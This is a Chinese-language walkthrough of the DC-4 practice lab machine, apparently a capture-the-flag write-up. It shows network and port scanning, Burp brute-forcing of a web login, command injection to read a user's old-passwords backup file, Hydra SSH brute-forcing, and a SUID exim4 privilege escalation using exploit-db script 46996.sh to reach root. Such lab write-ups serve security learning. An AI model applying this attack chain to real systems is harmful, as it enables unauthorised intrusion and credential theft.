今天抽时间做了下DC-4的实验,整理了实验步骤,并提炼总结方法论。
- 内网存活主机扫描命令
nmap -sP 192.168.101.0/24
arp-scan -l
以上IP地址使用排除法,最后得出192.168.101.79是靶机地址。
- 探测目标开放的端口
推荐masscan+nmap
快速扫描:
masscan --rate=100000 -p 1-65535 192.168.101.67
端口扫描:
nmap -T4 -sV -p22,80,111,48009 -A 192.168.101.67
以上的结果只能看出nginx的版本,看不出更具体的信息可以利用。
- 找漏洞
- 打开80端口的网站收集信息
http://192.168.101.79
该网页是个登陆页面,登陆页面的两个思路,一个是sql注入,一个是暴力破解。利用sqlmap没有跑出漏洞,所以此处应该是暴力破解。
- Burp suite暴力破解
详细爆破步骤见CSDN博客:https://blog.csdn.net/u013930899/article/details/127482373
爆破出admin的密码为happy。
使用admin/happy登陆网页:
看到System Tools里面是Command,点进去:
Run,执行结果如下:
到此处判断接下来利用的漏洞是命令注入。
- 利用命令注入漏洞
打开Burp suite,抓包查看网页点击Run之后提交的数据包:
可以看到提交的命令格式是ls+-l,命令与参数之间使用+连接。
将截取的数据包发送到重放攻击模块,利用数据包重放攻击模块对系统执行定制化命令操作。
将ls+-l换成whoami+,结果可以看到当前用户为www-data:
将ls+-l换成ls+-l+/home,结果可以看到有三个用户charles,jim,sam:
使用ls+-l+/home逐个/home下的文件,发现jim用户下有个文件old-passwords.bak,想到大概率是jim用户的密码文件:
使用cat+/home/jim/backups/old-passwords.bak查看密码文件内容,并将文件内容复制保存下来,方便接下来对jim用户的ssh进行爆破:
- 爆破jim用户
使用保存下来old-passwords.bak内容的文件,结合hydra爆破ssh密码:
hydra -l jim -P jim_pass.txt ssh://192.168.101.79
jim的密码为jibril04
- 登陆jim用户
ssh jim@192.168.101.79
登陆jim不是目的,目的是从jim找方法提权到root。
使用find命令查找能够提权的命令:
find / -user root -perm -4000 -exec ls -ldb {} \;
查到结果中有一条命令/usr/sbin/exim4,考虑是否能用exim4做提权。
查看exim4的版本:
/usr/sbin/exim4 --version
DC-4靶机的exim4版本为4.89。
- 提权
在kali上搜索exim4相关的提权文件:
searchsploit exim
只有Exim 4.87 - 4.91 - Local Privilege Escalation | linux/local/46996.sh满足版本和提权的要求。
将46996.sh文件传到DC-4靶机:
scp /usr/share/exploitdb/exploits/linux/local/46996.sh jim@192.168.101.79:/home/jim
进入jim账号下执行46996.sh提权脚本:
到此提前成功。
- 备注
如果遇到执行脚本的时候提示“/bin/bash^M: bad interpreter: No such file or directory” 的错误是由于脚本文件是 dos 格式,即每一行结尾以 \r\n 来标识,而 unix 格式的文件结尾以 \n 来标识。
可以执行以下命令将46996.sh文件转换格式:
dos2unix /usr/share/exploitdb/exploits/linux/local/46996.sh
- exim知识点
Exim是基于GPL协议的开放源代码软件,由英国剑桥大学的Philip Hazel开发。Exim是一个MTA,负责邮件的路由,转发和投递。Exim被作者设计成可运行于绝大多数的类UNIX系统上,包括了Solaris、AIX、Linux等。
Exim和其他开源的MTA相比,最大的特点是配置极其灵活。Exim的配置文件是一个文本文件,支持String Expansion技术。能够执行诸如条件判断、字符转换等功能。
Exim有两种称为Driver的元素:Router和Transport。Router对一个邮件地址进行操作,决定如何投递,即交给那个Transport,或对地址进行转换。Transport将邮件从Exim的队列中投递到目的地。Exim有本地和远程两种类型的Transport。邮件被Router成功处理后,交给Ttansport。如果一封邮件有多个收件人,它可能同时被多个不同的Transport处理。每个Router必须指定一个Transport,当Router运行成功时,即把邮件交给Transport来投递。通过String Expansion,Exim几乎有了无限的扩展能力,实现无限复杂的需要。邮件系统管理员可以根据自己的需要,设计相应的数据格式,然后通过String Expansion进行转换和判断。
- 获取flag
cd /root家目录,查看flag.txt